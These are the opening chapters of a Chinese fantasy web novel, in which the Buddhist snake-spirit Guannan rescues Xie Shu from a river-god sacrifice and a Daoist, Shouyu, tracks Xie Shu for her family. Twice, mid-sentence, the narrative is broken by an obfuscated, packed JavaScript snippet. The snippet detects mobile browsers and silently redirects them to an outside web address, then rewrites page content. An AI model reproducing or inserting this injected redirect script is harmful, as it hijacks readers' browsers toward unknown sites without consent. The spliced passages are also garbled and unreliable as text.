《师伯你像我家狗》 1. 盂兰会 四周迷蒙雾气笼住莲池,观南茫然站在雾中。接天的莲叶滴了露水在她头上,冰凉森冷。 她手中持剑,其上的血缓缓滴落。 有人跪在她身前,捂着脸上红痕,睁了泪眼看着她。 她张嘴,发不出声音:你是谁?是我打了你么? 察觉至她目光,他唇瓣翕动,大抵是说了什么。接着便起身,死死抱住了她。 这人是谁啊!怎么平白无故非礼人?!她伸手去推,却忽得僵住了。 有冰凉自她耳边擦过。 大抵是唇。 她愕然抬首,想看清这人的脸。 接着一切却化作雾散了。 她垂首,看见手中那条细细红绳系着的白玉菩萨像。 …… 夏,层层山峦逶迤,茂密森林后,灵乌常年盘旋之地便是灵山。 鸦声阵阵,玉林日斜。其上高耸入云,层层祥云萦绕,隐隐经声传出,原来今日正是盂兰盆会。 世尊坐在顶上,声如洪钟,穿云裂石。忽得大放光明,身上一一毛孔出一莲华,其华微妙,各具干叶。 圆光一寻,金色晃耀,微妙端严,震得整座灵山都静下来。 座下万千子弟,金刚敛目,菩萨闭眼,替逝去的魂魄吟经超度。空中金光熠熠,千丝万缕地透过七彩祥云从灵山顶上射了出去。 本是佛家盛会,一眼望去,僧侣如山岿然不动。然而在这潜心诵经的诸多金仙之中,却有一个与众不同的身影。 定睛一看,这居然是只妖。此刻半鞠着腰垂下脑袋,袅袅香雾盖住脸庞,居然是睡着了。 这妖怪正是观南。 不知过了多久,诸佛渐渐散去,观音娘娘衔着柳枝从她头顶拂过,观南才恍惚醒来。 梦中内容已忘了个一干二净。 她打了个哈欠,被柳枝这么一扫,倒是半点也不困倦了。 观音菩萨见她一双眼净得像墨玉,几点光跃然。手中柳枝抵上她眉间红痣,似笑非笑,也不恼怒:“你这小妖,早知你不愿听,我便不带你来了。” 观南低声道:“非是弟子不愿,实是世尊所言高深奥妙,弟子听不大懂。” 她原是轩辕坟中一只蛇妖。昔日黄帝以大禅寿仗将一山妖魔尽数封入轩辕坟,她从未伤人性命,却亦在其列。 坟中不知日月春秋,斗转星移间却是有只大狐妖被放出去为祸人间。 后来比干与黄飞虎火烧轩辕坟,恰逢南海观音大士路过,将她从轩辕坟里救了出来,带回普陀落伽山潮音洞做她座下侍女,令她潜心拜入佛门,取名观南。 观南,观南阎菩提众生是也。 说是侍女,实则捧珠龙女才是,她只不过挂个名,往日里也只是听听佛念念经。如今在落伽山上,也不知过了几百年岁月。 灵山每年都有盂兰会,佛教徒可超度亡魂,尽享极乐。 往年今日她都需待在落伽山上,今年却被观音菩萨带来坐于上座,亲眼看着诸佛焚香传茶,倒是比她想象的要有趣许多。 只是诵经是少不了的。往日她在落伽山,也是日日听得佛法无边,几百年过去也能将《般若心经》《金刚经》《地藏经》之类的背得滚瓜烂熟。 到了世尊脚下,却不知为何颇觉困倦,只道是佛法奥妙,不可与常人耳语。 观音菩萨见她实在听不进去也不作勉强,素手一拨,一壶清酒便倒入她眼前玉杯。 观南犹豫着舔了一口,前味清甜甘爽,后劲却颇为狠辣,顿时有些喉咙发疼说不出话来。 再过一会酒见了底,喉咙倒是不疼了,头却开始晕晕乎乎。 她直愣愣地跟着观音菩萨上了金毛犼,一路踏云驱雾,回到落伽山时已是傍晚。 龙女在洞口迎上来,见她呆愕的模样兀自捂嘴笑了会,便烧了盆热水为她净身。观南擦干了身子直挺挺倒在榻上,不过一息便见了周公。 梦里是昏昏沉沉弥漫的雾气,径自走过去,便见到有只大蛇紧紧缠着剑,浑身鳞片被割得鲜血淋漓也不撒手。 她茫茫然看了一会,对上其翠绿的眼珠子,才发觉这蛇妖是她自己。 正盯着蛇头看,却觉得有人正看着自己,于是回首,只看见一个青色人影如风般刮过。缓缓睁眼,梦醒了。 醒来后已入亥时,酒劲已然散去不少。观南按了按眉心,正想着要不要抄几篇心经冥心静神,观音菩萨便传话过来让她去正堂。 步至正堂,便见观音于上首,龙女立其侧。见她来了,便令她过来看看某样物什。 一凑近,这玩意就散出七彩霞光,逼得人不敢直视。观南眯眼瞧了会,看清这原是颗珠子,看着颇为粗粝的模样。 观音菩萨玉指轻轻点了点那颗珠子,四周光华便收敛起来,如莲瓣层层绽开拱着中间的珠子。 她眼尖地看见淡淡金光浮动,珠子慢慢又光滑玉润。 观音菩萨道:“这本是三百年前凡人从我这借走的氲神珠。送过去时这珠子还是天成的灵宝,如今却被丢在净坛无人问津,霞光比从前暗淡太多。你可知是何缘故?” 观南摇头。观音便道:“三百年前,有凡人寻到潮音洞来跪了一月,求我助他主公一臂之力。而封神之后,天庭便有令在先,不允我等私自干涉凡间之事。我便给了他这珠子,只作养神静气之用。 此物从来都是皇家独有,今日却被弃之不用。我掐指一算,原是有大妖作乱为祸人间,而皇室愚昧,不堪大用,世间万民有倒悬之苦。” 观南无言。她在落伽山上待了几百年,见到的妖怪也都是潜心向佛的善类,早已不知人间疾苦。 便道:“如此,师尊可是要我下山除妖?” 她只当这是砍瓜切菜一样的事。 观音菩萨微微颔首:“说是除妖却也不是——封神之后,天地间冤魂甚多,有的便心生歹念不入轮回,邪魅一时滋生。 祓邪一事原轮不到我佛门,只是我观你命数,此行尚有未解机缘,天命难违,这一趟你非走不可。” 居然是非去不可了。她便跪拜:“弟子领命。” “起来罢。前路未卜,我再赠你一样东西。”那玉净瓶微微一晃,一道白光便径自飞到她腕子上,化作一只白玉镯。 “邪魔死后不入轮回,徒留反倒无用。便以此物收敛其尸身,八十一天便可炼化其精魄。若遇到虔心悔过的,便以此物祓其怨气,令他潜心皈依我佛门。” 观南仔仔细细地探出神识扫过去,只见白玉镯内识海无尽,奥妙无穷。 闭目敛神,方觉其上佛光照耀,正气浩然。便认认真真俯身再拜,“弟子谨遵师令。” “我先前不是赠了你一把斩仙剑么?此物乃是世尊上古所得,可劈山断海。如今你拿着它还有这白玉镯,便下山祓邪去罢。” 说走就走。观南领了命,便回房收拾包裹。越过紫竹林,拨雾见海,径自往左去。凡间正是入夏,海面风平浪静,大抵一刻便上了岸。 观南拿出舆图瞧了片刻,却发觉迥异。照常理而言,自是舆图往上为北往下为南,然而舆图上未曾标注何处是上何处是下。 她蹙眉看了会,只得收起舆图往高处走,看看能否先找到几处人家。 潮音洞临海西侧,依照来时的路看,她应当往西走。观南背着包裹行了一夜,待东方破晓,正想化成妖身赶路,却突兀听见几声呼叫。 停身一看,原是河对岸边倒挂着一女子,此刻手脚被捆住,半身都没入水里。这河宽逾十丈,河水湍急深不见底,观南疾步走过木桥,拽住其脚踝将她拉起。 这女子看着方才豆蔻年华,被她扯掉嘴里的粗布便嚎啕大哭起来,揪着她的领口不撒手:“恩人,你是菩萨派来救我的么?我看见你颈上系着的玉观音了,我便晓得我命不该绝,我不该的……” 原是看见了她的玉观音。观南默不作答,手贴住她小臂导着热气过去。 女子正以袖拭泪,抽噎片刻欲抬眼看她,目光触及她的脸却僵住:“恩人——您是男子还是女子?” “女。” “原是位姑娘……抱歉,是我眼拙了。”女子长发相互勾缠于一处,只得伸手去解 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那道士我从未见过,只听村中长辈说起,是附近山上的高人。听道士说,河神乃是这渝河龙王,有通天的本事,可呼风唤雷……” 原是渝河。观南回想一遍舆图,大抵知晓这是何处方位。 “先前的风雨不顺,便是或干或涝么,可有什么预兆?送去了祭品后是否缓解?” “姑娘你不晓得,我们这地方古怪得很。六月其他地方大旱时,河水却泛滥成灾,淹了百亩良田,其他地方入了丰水季,渝河却偏偏干涸起来,庄稼枯死…… 我听村里老人说,是先前当今天子将一堆死人尸首丢入渝河,才引得龙王震怒的——” 她突兀停嘴,不大自在地抿住唇。 观南盯她片刻,“你出去过?” 女子哆嗦一下,避开她的眼神,“不……我都是听村里老人说的。” 观南颔首,从地上坐起去扶她,“起来罢,我送你回去。” 女子哆哆嗦嗦地将手放在她掌心。被牢牢托起后,她恢复了些精神,慢慢拉住观南衣摆:“多谢姑娘了,我无以为报。看你衣着,莫不是海外能人异士。我名姝儿,不知你如何称呼。” 她道:“唤我观南便可。” “好罢。观南姑娘,往东绕过竹林,便是我们村了……”观南一路搀着她,越过竹林便看见了一处村庄。 此刻正是早晨,村中却每家每户都是禁闭窗门,一眼望去竟空无一人。 女子讪讪道:“祭神当日村中需禁闭窗门不可外出,这也是那道士定下的规矩……观南姑娘,你随我来罢。” 她领她进了院子,倒了杯茶在桌上。观南在院中坐下,抿了口茶,颇觉茶香清逸。姝儿进屋换了身衣裳,又问她是否需要。 观南摇了摇头,她便提了些酥饼过来,“家中别无他物,只有几个酥饼尚可填饥。姑娘若是不嫌弃便用些吧。” 观南道:“我乃佛门中人,不重口欲。”倒是姝儿看着体弱神虚的样子,便抬手将酥饼推了过去。 姝儿也不做勉强,坐下来愁容满面地同她讲话:“先前祭神的每日,第二日卯时村里人都会去看。 先前那道士说,若是渝水清则是河神满意,渝水浑则是河神发怒。我如今逃了回来,不知明日该当如何……” 观南放下茶杯,道:“明日我会与你同去。你不必担忧,若真是渝河龙王,我自会将他押送天庭。如若不是,就地诛灭便可。” 姝儿见她言及天庭,神情淡然不似作假,当下便放心许多。家中仅一张床,寻了竹席出来,观南坐于席上,青丝如瀑垂下,随手用簪子一绾便双手合十开始打坐。 《地藏经》她早已烂熟于心,从包裹里翻出经书,逐字念去:“脱获善利,多退初心。若遇恶缘,念念增益。是等辈人,如履泥涂,负于重石,渐困渐重,足步深邃……” 背到“千劫万劫,永受众苦”时,观南倏然抬眼。 夜色昏沉,万籁俱寂中,唯有姝儿房中的一盏烛火晃了晃,冷风自她窗檐掠过。 那盏灯幽幽燃着。 2. 渝河妖 斩仙剑就在她腿旁放着。观南抽出剑轻轻擦拭,剑鞘上银纹深深浅浅,刻的是某个上古神兽。指腹下剑身一瞬的颤动,她没有错过。 月色清寒,唯有一片竹叶幽幽坠落。 她霎时猛地拔剑向前方挥去。剑芒自月辉中一闪而过,银钩斟星,气凌清宵。挥入沉沉夜色,一丝声响也无,似乎瞬息便湮灭。观南也不再看,收剑入鞘,迎着皎白月色缓缓站定。 风吹衣角,一夜无眠。 第二日,姝儿醒来时已是平旦。观南绑住长发简单洗漱了一番,待她换好衣物,便同她一齐往河边去。 越过竹林便是渝河,观南扫一眼河面,只见今日河水混浊不堪,黄沙混着泥巴,隐隐浮着腥气。 似乎是血。她巡视河畔,果不其然在河岸边的湿泥旁看见一串血迹。 观南蹲下身去捻起一撮土来,放在鼻尖细细嗅了片刻。 不像妖的,反倒像人。 姝儿见她似有发现便凑过来,惊奇地打量了她手中泥土一阵,正要开口说话,却听见有人道:“姝儿?” 观南同她一同望去。只见竹林中有人慢慢走来,近了才看清这人一瘸一拐的,居然是个瘸子。 观南正悄然握住剑柄,便听得姝儿讶然道:“李二?你腿怎么了?” 那人拄着竹杖缓缓走来,苦笑道:“昨日夜里回村,在此河边摔了一跤,破了相便罢了,却是血流不止,只得寻了老大夫来看,还将腿骨摔折了。” 见她望来,姝儿道:“这是我们村中猎户,原是我认得的。”她扭头,却是悄然往后退了几步,躲在观南身后。 观南看了一眼那人手中抱着的衣物,指尖搭着剑柄并未移开。李二走近,在她们身前一丈宽处停下,“姝儿不在家呆着,来这河边做什么?这河水凶得很啊,可莫要同我一般摔着了。” 姝儿踮脚,在她耳边悄声道:“李二是十日前离家打猎的,并不知晓村中祭神之事。” 她瞄几眼观南神情,见她面无异色,便也渐渐放下戒心:“我同这位村外来的姑娘指路呢。她要去往建康,在我家暂住几日。” “原是如此。”李二瞧着观南的脸,笑道:“姑娘是哪里来的?看衣着不像我朝制式,莫不是海外来的高人?” 姝儿正要搪塞过去,便听见观南问道:“我昨夜练剑时似乎见到院外有人,是你么?” 姝儿正讶然她昨夜居然还练了剑,便听得李二道:“我似是子时才回的村,姑娘许是看见了别人。” 观南微微颔首:“原是如此。你伤势如何,可需治理?” “不牢姑娘费心了。我回去自己掰掰兴许就好了。”他推辞道。观南不置可否地颔首,又听姝儿同他寒暄了几句,便拉着她离开了。 没走出多远,两人身影便隐在树荫处。观南抬手,敛去两人气息。 姝儿见她似是施法的模样,也莫名低下声来:“观南姑娘——怎么了?”却见观南只望着李二并未作答,只得按下心中疑窦,踮脚一同望去。 且说那头李二送走了两人,捧着衣物扫视一圈,见别无他人身影,兀自冷哼一声,衣襟在空中一旋原地消失不见了。 姝儿惊呼出声,所幸观南已设下了障壁,此刻方才回眸看她:“李二怕是已经死了。” 姝儿一愣,心中惶恐更甚,只得颤着嗓子问她:“娘子怎么看出来的?” “猎户眼神清明,昨夜子时回村,既在河边摔断了腿,怎么会看不出那河水已经浑了,今早还抱着衣物来洗?” 观南垂眸看她,道:“我昨夜在你院中遇见了妖物,到此一看,方知渝河水夜里就浑浊如此。” 姝儿战战兢兢:“那妖物便是如今的李二么?难不成是什么恶鬼,山中精怪,还是画皮妖……” 不晓得她从哪听来的这些稀奇古怪的名头,观南摇头。昨夜交手一次,她那一剑应当正中其腹,不原地烟消云散都是好的了,今早怎会还有精力假冒李二来骗她? 姝儿脑中愈发惶然,不知不觉间竟落下泪来。观南正想着事,却突兀听见她一声一声抽着鼻子,茫然僵滞了片刻,才缓缓伸手想拍拍她的肩:“……不必如此惧怕,我会护你。” 女子未施粉黛,一张脸素净却不寡淡。姝儿泪晕双瞳,惶惶抬眼,恍惚间却被她眉间红痣夺了心神。 似乎那些庙宇里的菩萨,额间也有这样一颗痣…… 听见她的话,才回神隐隐安定下来:“多谢娘子了。” 两人又等了些时候。临近卯时,一阵人声传来,村里人叮叮当当拖着农具来了。观南定睛一看,男女少长咸集,到了河边往水里一看,具是懊丧之状。 观南悄然掐诀,众人声音便传过来:“……这渝河怎地黄了?难不成那丫头竟跑了?”“我便说那丫头是这半月才搬过来的,看着颇不老实……” 她觑一眼姝儿,见她心虚低头不敢看她。 有人愤愤道:“如今渝河水黄,河神恼了又要降罪我等可如何是好?”“后来的那些还要接着祭么?”“不祭还能如何?也不过是几枚铜板买来的,留着还得贱卖出去……” 一行人嚷吵远去,观南直起身看她,将姝儿看得浑身不自在起来。 只得长袖掩面,眼神飘忽不定道:“姑娘,我非是有意瞒你……如今我生不见人死不见尸首,他们找不着我,也要将剩下几个姑娘祭河了,还是抓紧些想法子吧。” 观南不置可否,却问她另一桩事:“先前祭神的少女,第二日都能寻得尸首么?” “嗯,先我之前的那几人具是如此。那道士未曾提过,只是村中有人第二日途径下游河畔,望见河面上飘了一具人尸被吓了一跳,村里人这才晓得那河神原是不吃人肉的。” 要活人为祭却不食其躯,这倒是奇了怪了,难不成是为夺其精魄?观南思索片刻,道:“村中已不太平,我欲先将你送回家中再回来救其余几个,你待如何?” 姝儿仍是忸怩,绞着帕子片刻后方道:“事已至此,我已瞒不过仙师。我非此地人士,乃当朝尚书令之女谢婌。我此番离家,实乃不得已而为之,还望仙师助我一臂之力,事成之后我必有大礼奉上。” 见观南不语,她迫切道:“我知晓仙师是雷霆手段菩萨心肠,这渝村属临漳县,仙师将我送至临漳县城寻个客栈住下,待救人事毕再来寻我,我随仙师一同去往建康,您看成么?” 观南抬眼定定看她,一双无光墨净双瞳似是望穿她要看到她心里去,谢婌惊疑不定,惶惶欲言却又不知其所。 风过柳梢絮拂云,观南终是开口:“我允你所求,只要你没有旁的害人心思。” 谢婌心中一颤,不知是被她戳中心事还是其他,连连赔笑道:“我哪敢有什么旁的害人心思……仙师愿意助我便好。” 两人便敛着身形回到村里,甫一到门口便听得屋内一阵翻箱倒柜之声。 谢婌屏息敛声,往观南脸上望去,见她手定定放在刀鞘上。观南半睐着眼听了片刻,道:“是李二,伙同村中人在你家找个什么物什。” 谢婌迷茫道:“这屋子里大多都不是我的东西,何况我也并无什么珍奇之物。他们能找些什么?” 待房中人离开,观南携她进去,只见房中凌乱不堪,钿头银篦碎了一地。 谢婌寻了半晌,无奈向观南道:“我梳妆匣里放着些碎金银,还有一只绣金铜绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107278|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀簪,如今都不见了。只是我那簪子是早年家中阿母多赠,多处早已生了锈,不知他们拿去做甚?” 谢婌只想着是村人贪欲,被夺去生母所赠之物,垂首自顾黯然。观南不做言语,心中却多了些别的成算。 想必谢婌一个官家千金弃了荣华来至此地,必有他人教唆。拿去她一支金簪也不为别的,恐是为此后方便寻其踪迹吧?只需施个什么法术于其上,天涯海角亦得其踪。 只可惜遇着了她。观南手中拈出一根银针来,直直扎穿指腹,几滴血沁出来,趁谢婌不备往她后颈一洒。 谢婌只觉一阵冷风刮过,回首只见观南侧对着她,负手站在窗棂前,发梢拂过如玉皎洁的面靥,脑后青丝如瀑垂落,眉间一点红若隐若现。 谢婌微微望着她失神:这样惊世的相貌仪容,却又身负仙命,隐于世俗。倘若她不是谢婌,便垂明月之珠,而服太阿之剑,陆断马牛,水击鹄雁,当敌即斩坚…… 隐隐风来吹起她衣角,窗外柳叶枯黄一片,已是天色将晚。观南似有所觉,回眸直直对上她的眼。谢婌睫羽扑闪几下,垂首躲开。 谢婌来时只拾掇了些贵重饰物,黄白之物贵重,因着怀璧其罪的道理也不敢带上太多,如今被洗劫一空,只得两手空空跟着观南出了村。 日薄昏暮,观南敛息放了一魄神魂出去,末了回首问她:“你可知临漳县城是何方位?” “大抵往东四十里路。”观南掐指一算,片刻后缓缓睁眼,瞳目清明,只道一声:“得罪了。”便径自抱起她。 谢婌惊呼一声,还未来得及闭眼,便见眼前景象风云变幻,白云自眼前飞渡,禽鸟瞬息擦身而过。脑中瞬息间惊惶交加,脖颈一仰便昏厥过去。 观南这厢抱着她,往身下山河看去。入伏的天本是炎热,只见河中飞尘黄末起,野田皲裂无杂草。也未见着什么土地或山神庙,可见此地妖物横行,当坊仙神亦只得避路而让。 正要阖眼觅查,怀中女子却径直晕了过去,只得加快脚程,不至五息便落了地。 到了临漳县城,见此地人来人往倒是安逸模样,便寻了间客栈进去。 向掌柜的要了间客房,观南身无分文,只得从谢婌头顶取下一根纯银簪子作抵,把掌柜喜不自胜,笑吟吟走在前面为两人开路去了。 关了门,观南正将谢婌放在床上,却见谢婌一双柳眉微簇,幽幽转醒过来。客房内搁了壶茶水,观南递茶过去,谢婌接过,饮下后到底清醒不少:“仙师,我们这是到临漳了么?我还记得仙师带着我在天上飞……方才我竟是昏过去了么?” 观南道:“怪我。”早知凡人从未见过神通佛法,便应直接将她打晕过去再上路的。 见谢婌摇摇头,便不再提此事,同她交代道:“事急从权,方才我趁你昏迷,拿了你头上簪子作款费,对不住。” 谢婌微赧,只一个劲地摇头。一根银簪而已,她昔日做尚书令独女呼风唤雨,所谓南海蛟纱西方霞帔都堆满整座私库,又怎会在乎一根银簪? 只是往日坐井观天,不晓得世上有人神通至此,竟是直接昏了过去…… 两人心中存着不一样的打算,观南先前便给谢婌以血做魂印,只是谢婌不知此事,心中仍有惶惧,哀求她赐几张黄符镇邪。 观南一介佛门弟子,哪里会使道家符箓之术,只得替她吟经做法,又在客栈四周设下除妖阵术,谢婌方觉心安,放她出了门。 观南安顿好谢婌,便要出门去。行至无人处,口中吟咒,脚下缩地成寸,瞬息便又回到了渝河旁。 渝河中泥沙翻腾,粼粼波光下也是昏沉不见底。 她扫了一眼河水,便往桥上去。 3. 莲血池 却说这厢建康城中人来人往,尚书令府内,一阵女子隐隐抽泣声传出,细听去而伴有男子怒斥。 屋内熏着龙脑,侍女正垂首不敢多言,却听得女子一声厉叫,原是桌上一盏五足黑瓷香炉给打碎了,连忙跪下去拾。 大抵是新来的手脚不利索,竟被在指尖划开一道口子,血滴在地上鲜红刺眼,被稍老些的侍女慌慌忙忙撵了出去。 尚书令府门口,门房听着两位当家主人争执,不敢往内窥视,只在心中暗叹近来建康不甚太平。却见自街口走来两人。 左边一位容貌清艳出尘非凡,着荷青色水合道袍,端的是一身仙风道骨,似非常人。右边那人较他矮半个头,衣服瞧着华贵许多,蝉丝绸缎熠熠生辉,腰中配剑还嵌了玛瑙玉石。 门房正瞧着眼热,定睛一看却惊呼一声。这人长袖一挥来至门前,笑吟吟道:“三月不见,瞧我瞧傻了?还不进去通告父亲母亲,道我携贵客归家?” 门房忙进去通报了。原来这人正是尚书府世子谢衍,三月前离府往山中养伤去了,原道是岁末才归家,却不想早了半年就归心似箭,也未提前往家中说一声便买了马车赶回建康。 问其缘故,原是家中小妹寿辰将至,还为此买了只孔雀来。 谢衍入了正厅,便要过青瓷茶碗替身侧人勘茶,那人却一回身避了他的礼,只拱拱手笑道:“世子这便是折煞我了,鄙人一介山野小道,哪里受得起世子的茶。” 听得这话,谢衍搁了茶碗,肃容道:“守玉仙长哪里的话,若不是仙长救我一命,焉得我今日归家团聚?” 见此人仍是笑而不语,心下更加热切:“既然仙长要暂住我府上,不如我领你去看——” 去拉他的手,却触及一片彻骨的冰凉,恍似三冬腊月的寒潭,不自觉吃惊望去。 守玉依然笑着看他,另一只手闲闲搭在腰上折扇,脸上未见其他神色。 谢衍心中迟疑,却听得回廊上一阵嚷闹声,便见父亲皱着眉迈进正厅,身后母亲亦步亦趋地跟着,正挽着衣袖拭泪。 心下骤然一缩便顾不得其他,兀自迎上去:“父亲母亲,这是怎么了?” 谢洵猛一甩袖落座,恨恨道:“问你阿母!”谢衍正丈二和尚摸不著头脑,只得回首去看母亲。 其母林氏黯然落泪,方要娓娓道来,又望了他身后一眼。谢衍便急道:“守玉仙长是儿归京路上遇见的高人,若非他出手救助,儿子早已命丧黄泉了!” 将林氏唬了一惊,也顾不得三七二十一便握住儿子的手,声泪俱下地道来。 原是谢洵近几月在外地当差,林氏又信佛,恰逢盂兰会将至,便带着谢婌去了道场寺吃斋念经,虔心祷告,祈求小女能有一桩好姻缘。 不料住了几日,谢婌突觉身子不适,便欲归家。林氏同寺中大师相约几日讲义,一时脱不开身,便令身边几个侍女随谢婌一同归家了。 寺中几日度日如年,待盂兰会毕了林氏便即刻下山回府,归家后却骤然发觉小女早已不知去向,只留下她贴身婢女换上她往日衣物日日作她打扮。 林氏几欲肝胆俱裂,连忙派人去寻,又给丈夫同儿子写了信,急召回京…… 龙脑香袅袅,守玉正欲提摆过廊去那一方水榭,听得这话便放下。 他站在壁门前,面前是拘着的一池碧色湖水,远远看去,碎荷下隐隐有赤红鲤鱼甩尾,忽而猛地跃出溅开涟漪,恍若翡翠镜中砸落一滴血。 于是忽又想起玉虚宫中萦着雾气的寒玉潭,总是模模糊糊的,只看得见接天的莲叶笼住头顶……一滴雨从屋檐砸下来,接着便连绵不断织成漫天幕网。 他回神,半晌伸出手接住一滴水,顷刻间便在他手心凝成霜。 守玉垂眼,悄然看了片刻,又将它化开从指缝间溜走了。 原是下雨了。正是入伏的时候,一座建康城干了半个月终于盼来这场大雨,府中婢女忙出去收衣了。 厅中三人也说完了事,谢衍沉着脸走过来,守玉尚未回眸,便见他躬身朝他行了个大礼。 “谢世子这是做什么。”他甩干手上的水,便要去扶他。 谢衍却退后一步,抬眼哀求:“不瞒仙长,家中小妹现今不知所踪,父母年长又有琐事在身,唯我一人清闲得空。我知仙长行世为施善举,不知可否助我一臂之力,事成必举我谢家之力大礼为报。” 守玉搀住他胳膊,将人牢牢带起。“世子言重了,既有人受难于眼前,岂有不助之理。” 谢衍正要再言,听得守玉道:“既要寻人,我便需一件小姐贴身之物。”谢衍正要去寻,身后母亲走上来便要俯身跪拜。 守玉早有防备,先她一步用手中折扇抵住,林氏只得抬头,脸上泪痕未干,将手中之物递上来:“小女离家前将往日伴身琐碎尽数毁了,只留这一顶木梳,是她幼时之物。” 守玉接过,却并未急着寻人,问道:“小姐身边那位婢女呢?”倘若要借气息寻人,身边亲近之人也能顶用。却见林氏讷讷转了头不敢看他,谢衍也默而不答。 半晌后林氏才半泣半诉道:“我当日归家,她一问三不知,一时气太狠了,便将那丫头推进家中池子里溺死,尸首抛去城郊了……奴籍倒还是未丟。” 守玉无言。手中捏着谢婌昔日木梳,默不吭声。谢衍尴尬僵着,许久后才听得他道:“劳烦夫人,将那婢女的奴籍也给我罢。” 林氏不敢多语,派了身边婢女去拿,守玉接过放进身侧芥子囊中,兀自起身道:“我已寻至贵府小姐所在,烦请替我与世子备车一辆。” 收拾了些东西,又听谢洵嘱咐一顿。谢衍撑伞随守玉出了门,地上被雨砸成泥泞一片,见车夫已身披蓑笠跪在轮前,便先行踩上去。 见守玉仍岿然不动,谢衍掀开车帘望过来,“仙长怎么不上车?”守玉垂眼,却是退开半步,半躬下身同车夫道:“多谢,我不需如此。” 正欲递伞过去,车夫冷汗涔涔,心中暗恼自己莫不是恼了贵人,忙重重叩首几下去了车前。 守玉忙不迭躲开他的礼,只得收伞上了车。车内熏了不知什么,一掀开帘子便有沉沉异香扑鼻而来,颇令人疲醉。 他坐下来,手下席垫柔软厚实,暗处亦有盈碎光华,不知嵌了多少金银丝箔,异域奇石。 掀了身侧帘子往外看去,只见倾盆的雨落在街上,一坊百姓上至耄耋之年下至三岁孩提,身上粗衣淋透,脚上草鞋断系,作无头苍蝇状慌乱躲雨。一时间叫喊声哭声没在暴雨里。 想到此刻谢府,云台耸天,碧池九曲,龙脑熏燃。厅中尚书令同夫人静坐高台,不沾泥雪。偌大一府矞矞皇皇,却不知其中阴私几处,丧了多少凡人性命。 所谓秦淮水暖桨声灯影中的建康城,其实同这天下万千穷苦之地,也并无什么不同。 守玉阖眼,寻着那一股若有若无的气息,忽而蹙了眉。 . 马车轱辘辘溅起泥水,谢婌慌忙去躲。这雨来得突然,她正走在临漳县城街上,只得同其他人一般凑进马棚里,一人高的马身上满是泥,其中一头竟还凑过来蹭她脑袋。 谢婌忙躲去另一处,正拧着裙摆上的水,忽听见身前一阵哭声震天,便抬头看见一辆辆盖着白布的木板车推过去,那女子跌跌撞撞砸在泥洼里,抱着白布下的人不撒手,凄凄惨惨好不可怜。 她一头青丝脏得不成样子,身上衣裳也破破烂烂。谢婌听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107279|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得身旁躲雨的几人道:“她倒是不嫌死人臭,得了疫病传给你我又该如何?”“早说她弟弟是个没福气的,亲父母都不认便罢了,去了趟建康居然染上了疫病……” 一道雷忽得劈下来,白光贯彻天地,两人噤了声,谢婌抬眼看过去,只见瓢泼大雨里那女子恨恨盯着两人,湿透的脸被雷光照得惨亮,一丝生气也无。 谢婌毛骨悚然,哆哆嗦嗦地后退几步。身后那匹马被她撞上,猛地一甩尾巴长啸一声,泥点子如雨一般落在她脑后。 她难堪极了,又似乎被人围住望过来,突然心下一狠便贸贸然闯进雨里。 反正身上衣裳也湿了个透,淋上一会又有何妨!所幸在临漳没人会管教恪守她淑女仪范,她一路跑进客栈二楼进了卧房才停下,叫小二打了桶热水进来,沐浴后才觉舒畅不少。 正换了新衣,忽又想起马棚里那两人所言。离开建康不过半月,竟是发了疫病么?父母上了年纪,不知身体可还安康。兄长听了她失踪的消息,也必是要赶回家的…… 左右都是为了她。可是她便乐得见这些么,她又何尝不是被刀煎火烤着。 彼时母亲在道场寺同佛祖祈求一桩好姻缘,不要门第富贵,只需得全心全意对她好。她听着心中悲痛难言,谁又知晓她所受的苦? 如今她不知去向,婚事便自然要搁置,便是保全谢家的最好方法了。 忽而又想到龙椅上的那位。他似乎一向多病,就是不知这一场疫是否染至了宫里?昔年少不知愁,整日茶淫橘虐,东门欢逐绞兔。 如今人尽皆知建康谢家深得帝心权倾朝野,却不晓得一家人分崩离析,全然是拜他所赐!姓司马便觉得自己是承天命的龙子龙孙了么? 可是他姓了司马又披了龙袍,不也同这世间万万千千的凡人一般生老病死么?谢婌恨恨想,老天若有眼,不若让他病死罢了,也省得祸害他人! 她绞完发颇觉腹中空空,便下楼买了些小食,又同老板问了这附近最近的一处佛寺。 想到此刻观南许是正同河神缠斗,不自觉心下愧疚起来,亦欲为她焚香祈福。 正撑伞出了客栈,身旁忽然有老人一身酒气摇摇晃晃地跌进来,谢婌嫌恶瞧他一眼,自一旁过去了。 她身后,那人倚着门槛缓缓爬起,兀自到中堂坐下了。小二已经眼熟了他,将一碟炸花生米同一壶清酒放在桌上便转身做别的事了。 掌柜的坐过来又拿了盘瓜子,老人嘻嘻一笑,手心一翻同掌柜道:“你猜我今日替人卜了几卦,其中或阴或阳,吉凶几何?” 见掌柜狐疑瞧他几眼,老人也不恼:“你不信我么?罢!可我若告诉你,城东那户,她弟弟临行前被我卜了一卦,其兆大凶!劝他他还不听,如今便成了硬邦邦一块要下乱葬岗了!” 掌柜的却是不信这些,听他扯东扯西了会,见门口又来了客人便扑扑衣摆过去了。老人见他不信,也不多做言语,将那盘瓜子拿近些又嚼起来了。 想起今日那女子抱着弟弟尸首的悲恸模样,心下也茫然片刻。 